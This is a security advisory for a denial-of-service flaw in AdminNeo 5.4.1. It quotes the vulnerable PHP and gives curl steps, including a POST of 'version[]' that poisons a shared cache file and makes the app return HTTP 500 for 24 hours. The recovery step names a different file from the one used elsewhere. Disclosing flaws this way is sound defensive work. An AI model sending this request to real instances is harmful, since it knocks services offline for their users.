GHSA-jm85-8cpp-9cjc

Summary

AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, function rawurlencode() receives this array instead of string and throws TypeError, returning HTTP 500 to all users for the next 24 hours.

Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted.

Workaround

If you can't upgrade, make the file adminneo.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version

The endpoint is designed to receive version data from GitHub via browser JavaScript.

• functions.js line 110-121: Receives the latest release information from GitHub API by AJAX.
• JavaScript POSTs version number to ?script=version.
• Server stores version number in /tmp/adminneo.version file that is used as a shared cache for all users in the same server for the next 24 hours.

// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);

2. The vulnerability

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (CSRF token is present, but not checked for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
	$filename = get_temp_dir() . "/adminneo.version";
	@unlink($filename); // It may not be writable by us, @ - it may not exist.

	$file = open_file_with_lock($filename);
	if ($file) {
		write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
	}
	exit;
}

3. Type confusion crash

When POST contains version[] instead of version, PHP creates an array. When AdminNeo reads this file and passes to cookie() and then to rawurlencode():

// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.

// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

PHP 8.x throws:

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Steps to Reproduce

(Example URL is for the official AdminNeo Docker image.)

Step 1: Verify AdminNeo is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminneo.version

Expected output:

a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, AdminNeo returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before rawurlencode(), this allows DoS for the next 24 hours.

Affected users: Any AdminNeo instance accessible over the network.